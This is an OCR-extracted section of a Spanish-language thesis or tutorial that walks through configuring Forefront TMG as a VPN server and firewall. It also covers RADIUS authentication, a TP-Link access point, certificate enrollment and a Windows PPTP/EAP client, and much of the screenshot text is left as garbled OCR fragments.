Cancel I

[pone

ool B & 5 {]T

Configuracion Basica de Forefron TMG 3

Con esto completaremos este punto y en el

verificaremos la informacion del equipo como el nombre y dominio.

|slsroe o, -

siguiente solo
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- [Oi|

File Action View Hsln

xI

EX 3ol 71ed 5I
= McrosoﬂﬁFo(efrontT tost Identification
@ Forefront TWG (v Enter the identification details for this Forefront TMG computer. Enterprise
b—
Computer name: Jven
~Member of
= wWindows domain: [tesis.com
™ workgroup: [ Change.

Help about domain and workaroup membership

~Primary DNS Suffix

L

DS suffix: [tesis.com
In a domain, the primary DNS suffix is provided by the domain
controller.

Ful computer name: VPN, tesis.com

< Back | Next)hl Cancel |

4| —]

Pone \ \
ond & & 2 6T T

Configuracion Bésica de Forefront TMG 4

En el dltimo punto “Define Deployment Options”, habilitaremos la

comprobacién automatica de actualizaciones para el Forefront TMG.

M=IE]
File Action View Heln

e (W Gettino Started Wizaed whb—
|55 & i | e GE x|

e Bl Getting Started - Deployment Wizard
|5 Microsoft Forefront T Microsoft Update Setup

@ Forefront TG (v Use Microsoft Update service to help keep your computer secure and up to date. Enterprise

Forefront TMG uses Microsoft Update service to keep Forefront TMG protection mechanisms up to date.
To receive these updates, select to use the Microsoft Update service, below.

@ ¥ Lige the Microsoft Update service to check for updates {recommended)
@ © Ldo not want to use the Microsoft pdate service

If the computer is not connected to the Internet, configuring the computer to use
Microsoft Update may take several minutes.

Learn about managing definition updates for Forefront TMG
See the Microsoft Update F
Read our Privacy Statement

< Back Next > 1 | Cancel I

T

Dane

I \
=GR e EEar=r

Configuracién Béasica de Forefront TMG 5
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Luego de completar estos puntos podremos comenzar con la
configuracion del Forefront TMG como servidor VNP y Cortafuegos.
Expandimos la seccion “Forefront TMG (VPN)” en el panel izquierdo

de la consola y seleccionamos “Remote Access Policy (VPN)".

=laix)

Fle Acton View Help

s 7EFHE B FROF0B

13 Microsoft Forefront Threat Managemer

5 i@ Forefront TMG (veN) = |V:6‘F'efron t Remote Access Policy (VPN)
£ Dasnboard Threat Management Gateway 2010 Enterprise
3 Monitoring
4 Firewal Palicy ﬂﬁ
e et Py VPN Clients Y(Remote Sites
=] Policy = =

. -
. Configure VPN Client Access
sg%‘;g This page helps you define and configure how dients VPN Clients Tasks

< Networking access the corporate network using a virtual private ’ o .
33 systeam network (VPN) conmecton. (i) Enable VPN Client Access
{4 Logs & Reports Zf Configure PN Client
- - ACCESS
</ Update Center @ Configure Address Assignment Method i
if Troubleshooting and Enable VPN Client Access 4 Configure Quarantine
Allow remote dients to comnect to the netwark Control
using a VPN connection.
General VPN
Specify Windows Users or select a Configuration
RADIUS Server
i Select Access Networks
Specify the Windows users (domain groups) ’
allowed VPN access or, if using RADIUS f Define Address
authentication, select the RADIUS authentication Assignments _

Server. [%f Select Authentication

Methods

B Verify VPN Properties and Remote 5 Specify RADIUS
Access Configuration Configuration

Verify that VPN properties, such as protocols and

Fl | access points, are defined according to your 2 -l
\ [
E == an " 12:98
o= & @ [T BErrye=

Configuracion de servidor VPN/Cortafuegos 1

Se mostraran varios puntos a configurar para habilitar el acceso de
clientes VPN. En el primer punto configuraremos el método de
asignacion de direcciones IP para los clientes VPN. Damos clic en
‘Add...” y definimos el rango de direcciones 10.10.20.1 -

10.10.20.100.
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File Action View Help

€2 [ H[EIEE  — |

|53 Micosoft Farefront Threat Manager,

&) Uig Forefront TMG (vPI) Access Networks  Address Assignment | Authentication | RADIUS | Remote Access Policy (VPN)
Dashboard )
? Maritoring [~ Select the IP address assignment method: Enterprise
Firewall Policy ¥ Static address pool
gﬁwﬂ, s Pocy e
& E-Mai Policy = N
%P Intrusion Prevention System Start Address End Address s Add...
) Remote Access Policy (VPN) VPN Clients Tasks
” Edit..
_IjE Netmarking —I () Enable VPN Client Access
J System .
J Logs &Reports Server IP Address Range Properties %[ Ent
¢ Update Center J—'
§ Troubleshooting Select the server: e
" Dynamic Host Configuration
[vena |

Use the following network to obtz  Spedify the range of IP addresses:

Start address: End address:
Internal
vorks

[w . w. 2.1 [w. 0. 2 w

Advanced settings are only applic
remote VPN dients. —

oK | Cancel | oy || P Specify RADILS

Configuration

e -

« 0| I access points, are defined according to your
[start J % - -
na o=

Configuracion de servidor VPN/Cortafuegos 2

Verify that VPN properties, such as protacols and _‘
12:56
|slrpoe 2%, -

En el siguiente punto configuraremos el servidor RADIUS que se
usara para autenticar a los usuarios VPN. Marcamos la casilla “Use
RADIUS for Authentication” y damos clic en el boton “RADIUS

Servers...”

Damos clic en el botén “Add...” para agregar un nuevo servidor
RADIUS. En el campo “Server Name” escribimos en nombre DNS o
la direccion IP de nuestro servidor RADIUS, y en “Shared Secret’
damos clic en “Change” para ingresar la misma clave pre-compartida
que usamos en la configuracion del servidor RADIUS. Damos “OK”

para regresar a la ventana anterior.



<% Networking
[ system

‘4] Logs & Reports
<+ Update Center

By default, the shared secretis empty. For security reasons, we
I strongly recommend that you create a shared seaet. Be sure to
“—* " configure the shared secret on the RADIUS server as well.

J I Configure VPN Client

_i51x]
File Acton View Help
+ [= =
€| 2m| B x|
el e oS servers mote Access Policy (vPH
RADIUS Servers x
5 g Forefront TMG (VPN) X|| remote Policy (VPI)
J=2] aash;,,a,d Add RADIUS Server 211 Enterprise
2] Moritorin
= Fi 1 Pgl' Type the RADIUS server name or IP address and define how Farefront TMG
rewal Palcy will communicate with this server. = (e
Web Access Policy B~
s
o E-Mai Policy Server name: [ 10.10.10. 100 J =
5 Intrusion Prevention System
- Remote Access Policy (VPN)  Server description: [1es J BHCEent=jTaske

) Enable VPN Client Access

Access

= Troubleshooting |5 Configure Quarantine
Control
Shared secret: [eeseees
Authentication port: 1812 General VPN
Configuration
The port number used for RADIUS accounting will be the
authentication port number plus one. [ Select Access Networks
Define Address
Time-out {seconds): 5 J Assignments =
u Select Authentication
™ Always use message authenticator Methods
5 Specify RADIUS
| LL\\\J o Configuration
4 ﬂ I acoeés points, a;e Jeﬁned’aomrdingm your j e -
£start a == [ sl a 1336
Y e | [# P B o popime ™

Configuracion de servidor VPN/Cortafuegos 3

Vamos a la pestafia “Authentication” y dejamos solo la casilla

autenticacion EAP habilitada, deshabilitamos las demas.

) Remote Access Policy (VPN)
= Networking

HE system

‘| Logs & Reports

< Update Center

= §f Troubleshooting

[+ Extensible authentication protocol (EAF) with smart card or other
certificate

For NAP based quarantine, EAP must be configured. Help about
configuring EAP

Use the protocols below only for VPN dients running on Windows 98 or
Windows NT 4.0 that do not have the latest VPN dient software
installed.

[~ Encrypted authentication (CHAP). Requires reversible passwords.

[~ Unencrypted password (PAP)

™ Allow custom IPsec policy for LZTP connection

Pre-shared key: I

T o] ool | ey

B Forefront THG =181%|
Fle Acton View Help
pe EL P as e
il * ‘ = ey Remote Access Policy (VPH) Properties x|
[:2) Microsoft Forefront Threat Manager
= g Forefront TMG (VPN) Access Nebworks | Address Assignment  Authentication | RIS | Remote Access Policy (VPN)
== ] Dashboard — Authentication Methods Enterprise
=] Monitoring Select the authentication methods used when the remote site gateway
Firewall Palicy or the remote VPN dient initiates a connection to Forefront TMG,
Web Access Policy f Tasks '-
1] E-mail Policy I™ Microsoft encrypted authentication version 2 (MS-CHAPY) =
%P Intrusion Prevention Systerm
: VPH Clients Tasks

(i Enable VPN Client Access
[ Configure VPN Client
Access

[ Configure Quarantine
Control

General VPN
Configuration
[ Select Access Networks
[ Define Address
Assignments bio
[ Select Authentication
Methods
5 Specify RADILS

Configuration

0

il

Verify that VPN properties, such as protocols and
access points, are defined according to your

[N NP P

o & & 5 5

Configuracién de servidor VPN/Cortafuegos 4

|
A

|
ol r e o0, -
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En el siguiente punto primero configuraremos los protocolos de tunel
VPN admitidos para la conexion de los clientes, seleccionamos PPTP

y deshabilitamos los demas.

File Action View Help

B= Forefront TMG

=181

e |f=HE

VPN Clients Properties x|
[:=) Microsoft Forefront Threat Manager _
= g Forefront TMG (VPN General | Groups  Protocals | User Mapping | Quarantine | Remote Access Policy (VPH)
£ Dashboard .
i jons: Enterprise
B Monitoring Select the tunneling protocols available for remote access connections: P
# Firewall Policy
\Web Access Policy ¥ Enable PRTP { Tasks -
15 Eall Palicy =
%P Intrusion Prevention Syster PPTP provides a secured connection method for remote access.
) Remate Access Policy (VPN) VPH Clients Tasks
=k Networking Enable VPN Client A
B System I™ Enable LZTP/Psec @ Enabile YPN Gient Access
{4 Logs & Reports ) ) f Configure VPH Client
Undate Center LZTP/IPsec provides a highly secured connection methed for remote Access
o access. Certificate authentication is the default authentication method '
i Troubleshooting for this protocol. f Configure Quarantine
Contral
I” Enable s5TP Sefect Listener. General VPN
Configuration
SSTP provides a highly secured connection method for remote access
over S5L. Use this method if remate dients are connecting from % Select Access Networks
environments that prohibit non-HTTPS traffic (such as hotels and .
public access points). % Define Address
Assignments —
% Select Authentication
Methods
OK [\ | Camedl | s || EF Speciyrapis
Configuration
| g View Network Rules
J—I' LI Marifis that tha rilas snacifuinn nahin P -l

.
\
r_'startJ 5& E ﬂ—_JIE J

n 13:48
ES s o fm Oy siorons

Configuracion de servidor VPN/Cortafuegos 5

En la siguiente opcién de este punto, “Remote Access Configuration”,
verificamos que la red externa este seleccionada como la unica red

desde las que los clientes pueden iniciar conexiones VPN.

Finalmente, en el punto 4, configuraremos las reglas de acceso del
cortafuegos para especificar los protocolos permitidos a través de

conexiones VPN. Agregaremos una regla que permita a los clientes
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VPN conectarse a un servidor web, por lo que permitiremos el

protocolo HTTP.

Damos clic derecho en Firewall Policy, en el submenu “New” damos
clic en “Access Rule...”. Se abrira el asistente para creacién de

reglas de acceso.

[EEoretroptome —l&] x|
[ 5I
4 Welcome to the New Access Rule
L[ Wizard Firewall Policy
This wizard helps you create a new access rule. Access Enterprise
rules define the action that is taken, and the protocals that
may be used, when specified clients from one networic
attempt to access specific destinations or content on / Toolbox y Tasks \‘ Help \
another network &
[cof Firewal Policy Tasks
3
Access s name orks (-« 51 Publish Exchange Vb
Client Access
JWEB ACCESS =) Publish Mail Servers
(=] Publish SharePoint Sites
To continue, click Next ‘3 Publish Web Sites
[=] Publish Non-Web Server
Protocols
< Net > —— (7] Create Access RLle e
o8 Configure VoIP
j Configure Client Access
Policy Editing Tasks
& Edit Selected Rule

Pl | || Related Tasks .
\

[ [
o | B b [T |of P e .

Configuracion de servidor VPN/Cortafuegos 6

Escribimos el nombre con el que identificaremos a la regla que
estamos creando y damos clic en siguiente. En la siguiente ventana
seleccionamos la accion que se tomara cuando las condiciones de la
regla se cumplan. Seleccionamos “Allow”. A continuacion

agregaremos los protocolos sobre los que se aplicara la regla.
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arefron =181
e x
; Protocols
= Select the protocols this rule applies to.
L[: Firewall Policy
Add Protocols b3 "
This rule applies to: _I Enterprise
|Seleded protocols Pratocals: =5 m
Pro New ~ Edit.. Delete a
i Mai =l
(23 Instant Messaging licy Tasks
(23 Remote Terminal bechange ieb
[ Streaming Media ess
(3 vPN and IPsec ail Servers
B & web o
I’-.‘.\l j— harePoint Sitzs
L} FTP Over HTTP Vebsites
L1 P server fon-Web Server
-
Id HTTPS -
<B Net > lﬁ \ccess Rule
“u. HTTPS Server L varp
(3 User-Defined i
3 Authentication [ Client Access
[Z3 server Protocols
3 1Pvé Infrastructure .
—| [ing Tasks
3 AllProtocols =|
— |cted Rule
4 | Al pLa| Tasks -
- —— r 14:59
ES ([ =
o | A gy [ |slsmas -

Configuracion de servidor VPN/Cortafuegos 7

Los siguientes pasos nos permitiran elegir el origen y el destino del

trafico para los cuales sera aplicada la regla. Seleccionamos “VPN

Clients” como origen y “Internal” como destino.

T — | eS|
] e Access Rule izard Xl
4 Access Rule Sources |
=2 This rule will apply to traffic originating from the sources specied in this page.
Ll' Firewall Policy
Add Network Entities x "
This rue apples to traffic from these sources: k| Enterprise
e Network entities:
New - Edit.. Delete
El [ Networks
@ External
. Internal
=i Local Host
<. Quarantined VPN Clents Wil Servers
" - harePoint Sites
(4 Camputers Neb Sites
[ Computer Sets jon-Web Server
L3 Address Ranges
Subnets
<& Nest > =] \ccess Rule
 VoIP
F Client Access
ting Tasks
cted Rule
[E=1
4 - i} I Re’ated rasks -

Configuracion de servidor VPN/Cortafuegos 8
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Como ultimo paso podremos seleccionar a que usuarios especificos

gueremos aplicar la regla o si se aplicara a todos los usuarios.

= Forefrons T EIETE
] tiew Access Rule Wizard x|
} User Sets
L You can apply the rule to requests from all users. Or, you can limit access to
E specfic user sets
0 Firewall Policy
This rule applies to requests from the following user sets Enterprise
Byl Users ra. | Toolbox  Tasks \{Help
Edi... =
F— [co| | Firewal Policy Tasks
Jororks €. 8, 5 Publish Exchange Web
Client Access
=) Publish Mail Servers
=] Publish SharePoint Sites
{=] Publish Web Sites
5 Publish Non-Web Server
Protocols
< Back Next > ] {5 Create AocessRule bz
o Configure VoIP
[ Configure Client Access
Policy Editing Tasks
[ Edit Selected Rule
| — ] S —| M[| Related Tasks

[
e |- N =]

Configuracion de servidor VPN/Cortafuegos 9

| |
[slspmn o -

Finalizamos el asistente y con esto la regla de acceso estara creada.

Finalmente regresaremos a la opcién “Remote Access Policy (VPN)”

y en el panel derecho damos clic en “Enable VPN Client Access”.

B Forefront TMG

=& x|

File Acon View Help

22 FHaR 0008

[ Microsoft Forefront Threat Managemer
) @ Forefront TMG (VPN)

] Dashboard

2 Monitoring

---------

Threat Management Gateway 2010

Remote Access Policy (VPN)

Enterprise

2 Firewall Policy

VPN Clients Y(Remote Sites
Web Access Policy

L E-Mail Policy =

F Intrusion Prevention System gg;’\!\ Configure VPN Client Access
. Remote Access Policy (VPH) i.}i;‘?_) This page helps you define and configure how dients
=)

=i Networking access the corporate network using a virtual private
[ System network (VPN) connection,

1] Logs &Reports
& Update Center

Configure Address Assignment Method
“{f Troubleshooting

and Enable VPH Client Access
Allow remote dients to connect to the network.

Habilitando el acceso a clientes VPN

VPN Clients Tasks

() Enable VPN Client Access

|f Configure " Client
Access

[ Configure Quarantine
Control




5.5 CONFIGURACION DE PUNTO DE ACCESO INALAMBRICO

wt

/ [ TP-LINK
J

(= C |[} 192.168.1.1

TP-LINK \ PIBlient.Router with eXtended Range™

x|

54M
Wireless AP Client Rout
Model No.: TL-WR543G

— Basic Settings —

+ Wireless Settings

— Advanced Settings —
+

+
+

— Maintenance —
+

Wireless Settings

ssi:  |TESISAP
Region: United States v

Warning Ensure you select a correct country to conform local law.
Incorrect settings may cause interference

Channel:
Mode:
¥ Enable Wireless Router Radio
@ Enable SSID Broadcast
Enable Bridges
« Enable Wireless Security
Security Type: WPA-PSK/WPA2-PSK v
Security Option: WPA2-PSK v
Encryption: AES v
PSK Passphrase: [

Wireless Se!

Note: The operatit
connection varies
placement of the

router.

+ Near the
wireless st
In an eleva
Away from
such as
phones.
With the A
Away from

Note: Failure to f
significant perforr
wirelessly connect

SSID - Enter a str
Name (SSID) mus
in your network.
LINK_xxxxxx(x0
characters of eact
ensure  your wire
strongly recomme
name (SSID) to'a
sensitive. For exa
My Ssid.

Configuracion de Punto de Acceso Inalambrico
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5.6 PROCESO DE CONFIGURACION DE DE VPN EN EL CLIENTE

Accedemos a través del Internet Explorer a la direccion

https://10.10.10.100/certsrv, se nos solicitara usuario y contrasefia

para acceder al sitio. Ingresamos el usuario para el cual queremos

obtener un certificado.

Seguridad de Windows

iexplore.exe
Conectandose a 10.10,10.100.

| dchoez@tesis.com ‘

A ... |

Dominio: tesis.com

Aceptar Cancelar

Instalacién de certificados digitales en el cliente 1

Primero instalaremos el certificado del CA, esto permitird que el
equipo pueda identificar y confiar en los certificados emitidos por esta
autoridad de certificaciébn. Damos clic en “Download a CA certificate,

certificate chain, or CRL”


https://10.10.10.100/certsrv
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- s

()@ hitps://10.10.10.100/certerv/ Be ® Tmes e

& Microsoft Active Directory ...
Microsoft Active Directory Certificate Services — TESIS-CA Home
Welcome

Use this Web site to request a certificate for your Web browser, e-mail client, or other program. By using a certificate, you can verify your
identity to people you communicate with over the Web, sign and encrypt messages, and, depending upon the type of cerificate you request,
perform other security tasks.

‘You can also use this Web site to download a certificate authority (CA) certificate, certificate chain, or certificate revocation list (CRL), or to
view the status of a pending request.

For more information about Active Directory Certificate Services, see Active Directory Certificate Services Documentation

Select a task:
Request a certificate
View the status of a pending certificate request
Download a CA certificate, certificate chain, or CRL

Instalacién de certificados digitales en el cliente 2

Damos clic en “install this CA certificate” y elegimos guardar el
certificado. Damos clic derecho en el archivo descargado y
seleccionamos ‘“Instalar certificado”. Se abrira el asistente para

importar certificados.

=+ Asistente para importar certificados

Este es el Asistente para importar certificados

Este asistente lo ayuda a copiar certificados, listas de certificados de confianza y listas
de revocacién de certificados desde su disco a un almacén de certificados,

Un certificado, que lo emite una entidad de certificacidn, es una confirmacién de su
identidad y contiene informacidn que se usa para proteger datos o para establecer
conexiones de red seguras. Un almacén de certificados es el drea del sistema donde se
guardan los certificados.

Ubicacién del almacén

() Equipo local

Haga dic en Siguiente para continuar.

Siguiente Cancelar

Instalacion de Certificados Digitales en el cliente 3
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Seleccionamos como ubicacién del almacén “Usuario actual”’ y en el
siguiente paso dejaremos que Windows seleccione automaticamente
el almacén donde se guardara el certificado. Al dar clic en siguiente
se mostrara un mensaje confirmando la correcta importacion del
certificado y el certificado del CA se habra agregado a las entidades

certificadoras de confianza.

Volvemos a ingresar a la direccién https://10.10.10.100/certsrv, y esta

vez elegimos la opciéon “Request a certificate”.

- oW
° |2 https//10.10.10.100/ certsrv/certrqus.asp £~ & Eror de certificado & | () 77 i}
| @ Microsoft Active Directory .. % | |
Request a Certificate

Select the certificate type:
User Certificate

Or, submit an advanced certificate request.

Instalacién de Certificados Digitales en el cliente 4

Seleccionamos “User Certificate” y a continuacion “submit”, Durante
este proceso es posible que se nos solicite confirmacién para que el
sitio web realice operaciones en nuestro hombre, aceptamos para

continuar.


https://10.10.10.100/certsrv
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- s
()] 2 https:/10.10.10.100/certsrv/certinsh.asp £~ § Enordeceriificado €| {7 77 i
& Microsoft Active Directory ...
Microsoft Active Directory Certificate Services — TESIS-CA Home

Certificate Issued

The certificate you requested was issued to you.

Install this certificate

[[1Save response

Instalacién de Certificados Digitales en el cliente 5

Finalmente, damos clic en “Install this certificate” para que el

certificado se instale automéaticamente en el equipo.

Con el certificado de usuario en el equipo ya podemos autenticarnos

para establecer la conexion VPN.

Abrimos el Centro de redes y recursos compartidos y damos clic en
“Configurar una nueva conexién o red” para comenzar con la

configuracion de la conexién VPN.
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Centro de redes y recursos compartidos = =

1 E < Todos los elementos de Panel .. » Centro de redes y recursos compartidos v & Buscar en el Pa... B

Ventana principal del Panel d
control

Cambiar configuracion del

daptad . i ..
adaptador Elegir una opcién de conexion

Cambiar configuracién de us
compartido avanzado

Conectarse a Internet
Configurar conexién a Internet de banda ancha o de acceso telefénico.

§ Configurar una nueva red
e, Configura un enrutador o un punto de acceso nuevos.

y Conectarse manualmente a una red inalambrica
<, Conéctese a una red oculta o cree un nuevo perfil inalémbrico.

0 0 VPN a su drea de trabajo)

Vea también
Firewall de Windows
Grupe Hogar

Opciones de Internet

Configuracién de VPN en el cliente 1

En las opciones de conexion seleccionamos “Conectarse a un area
de trabajo” y luego “Usar mi conexion a Internet (VPN)”. Se nos
solicitara ingresar la direccion IP del servidor VPN y un nombre para
identificar la conexion. Luego damos clic en crear, con lo que se

cerrara el asistente.
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[m}

1 EF « Todos los clementos de Panel .. + Centre de redes y recursos compartidos v & | | BuscarenelPa.. B

Ventana principal del Panel de
control

Cambiar configuracian del
adaptador

Cambiar configuracién de ust
compartido avanzada

| Vea también
Firewall de Windows

Grupo Hogar

Opciones de Internet

C(—) |im Conectarse a un area de trabajo

Escriba la direccién de Internet a la que se conectara

El administrador de red puede darle esta direccion.

Direccién de Internet: 192.162.1.250

Nombre de destina: TESISVPN

[[] Usar una tarjeta inteligente
Recordar mis credenciales

) []Permitir que otras personas usen esta conexién

Esta opcidn permite el use de esta conexidn para cualquier
persona con accese a este equipe.

Crear

s -]

Cancelar
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Configuracion de VPN en el cliente 2

En Conexiones de Red se habra creado la nueva conexion con el

nombre que elegimos, le damos clic derecho y seleccionamos

propiedades para configurar las opciones de la conexion VPN. Aqui

podremos configurar y modificar varios aspectos de la conexion VPN

pero nos centraremos en la configuracién de seguridad.
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Vamos a la pestafia “Seguridad” en donde configuraremos “Protocolo
de tunel punto a punto “(PPTP)” como tipo de VPN. En “Cifrado de
datos” seleccionamos “Requiere cifrado”, esto indica que si el
servidor no soporta cifrado la conexibn no podra establecerse.
Elegimos “Usar el protocolo de autenticacion extensible (EAP)” como
protocolo de autenticacién, y como tipo de EAP seleccionamos

“Microsoft: Tarjeta inteligente u otro certificado”.

Conexiones de red = =
P =
(& * 1 U ) Panelded = ~ v ¢ Buscaren Con.. @
© = 2 Propiedades de TESIS VPN H -
Organizar » Iniiciar esta conex - Sn o B . @
g General | Opciones | Seguidad | Funciones de red | Compartir = O @
L_ Ethernet Tipo de VPN i-Fi
s> Cable de red desconecta Protocolo de tiinel punto a punta (PPTP) v TESIS AP

% @7 Controladora PCI-E Ethey Adaptador de red inalémbrica Qu...

Configuracién avanzada
Cfrado de datos:
Requiere cifrado (desconectar si el servidor no acepta la conex v
Autenticacién

(®) Usar el protocolo de atenticacion sxtensible (EAP)

Microsoft; Taneta imtsligents u otro certificado (cfado by v
Propiedades

() Pemitir estos protocolog

Contrasefia no cirada (PAP)
Frotocolo de autenticacién por desafio mutuo (CHAP)
Microsoft CHAP versién 2 (MS-CHAF v2)

Usar autométicamente mi nombre de inicio de sesidn
y contrasefia de Windows {y dominio silo hay)

e

{ —
| 3elementos 1elemento seleccionado gz

. AU

Configuracion de VPN en el cliente 3
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Damos clic en el boton “Propiedades” para configurar las opciones de
autenticacion. En la seccion “Al conectar:” seleccionamos “Usar un
certificado en este equipo” y marcamos la casilla “Usar seleccién de
certificado simple”, esto permitird que el sistema operativo elija el
certificado adecuado para la conexibn de nuestro almacén de

certificados.

Habilitamos la casilla “Verificar la identidad del servidor validando el
certificado”, y de la lista de entidades de certificacion de confianza
marcamos TESIS-CA, esta aparece en la lista gracias a que
instalamos el certificado del CA en nuestro equipo. Damos clic en

aceptar y con esto la conexion estara configurada.

1 Conevinnes de red - O
. - Propiedades de tarjeta inteligente u otros certifica...
© v T |2 » Paneldec ¢ | BuscarenCon.. @
Al conectar: _ _
Organizar = Iniciar esta conex ) Usar mitareta intskigerte » - 0 @
- - Opciones avanzadas
- ® i
Ethernet ®) Lsar un certificado en este equipo !
l'\, ~ Cable de red desconecta Usar seleccidn de certificado simple frecomendado) b AP
% @ Controladora PCI-E Ether btador de red inalambrica Qu...

Verificar |a identidad del servidor validando el cetificada

Dgunectarse a estos servidores (gjemplos: srv1; srvZ;
*\srv3\.com):

Entidades de certificacion raiz de corffianza:

[[] Microsoft Roat Certficate Authority 2011 ~
[ Starfield Class 2 Ceification Autharity

[] Starfield Services Root Cedificate Authority

[] StartCom Certification Authority

TESISCA

[] Thawte Premium Server CA

[[] Thawte Premium Server CA

[] thawte Primary Root CA v
< >

Ver cerificado

[[] Mo pedir|a intervencién del usuario para autorizar nuevos servidores
o entidades de cerificacion de corfianza

[ Usar un nombre de usuario distinto para la conexién

Jelementos 1 elemento seleccion Cancelar = =

Configuracion de VPN en el cliente 4
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Para estabelcer la conexion VPN con el servidor damos clic derecho

en el icono de la conexion y seleccionamos conectar.

& Conexiones de red
:(-:l =~ 1 &) Paneldecontrol » Redeselnternet » Conexiones dered » v G Byl REdeS
Organizar Interrumpir esta conexion  Cambiar el nombre de esta conexién
( Ethernet L‘ TESIS VPN ( Wi-Fi MOdO de avion
M Cable de red desconectado g TESIS VPN Y TESIS AP
@ Controladora PCI-E Ethemet Athe... Minipuerto WAN (PPTP) Adaptador de ref i
K ladora PCI-E Eth h @ Minip N (PPTP) ) aq ptador d Desactivado

Conexiones

o? TESIS VPN

Wi-Fi

Activado

| SIS
| il TESIs AP

.|||| Netlife-HChoez

|
! 3elementos  1elemento seleccionade

NETLIFE-HLOPEZ

Configuracion de VPN en el cliente 5

La conexion VPN estara establecida y para comprobar el acceso a
los recursos de la red interna accederemos a un servidor web
instalado en la maquina SERVER. Ingresamos la direccion IP del
servidor en la barra de direcciones de navegador y si se ha realizado
el proceso de manera correcta podremos ver la pagina de inicio del

servidor.
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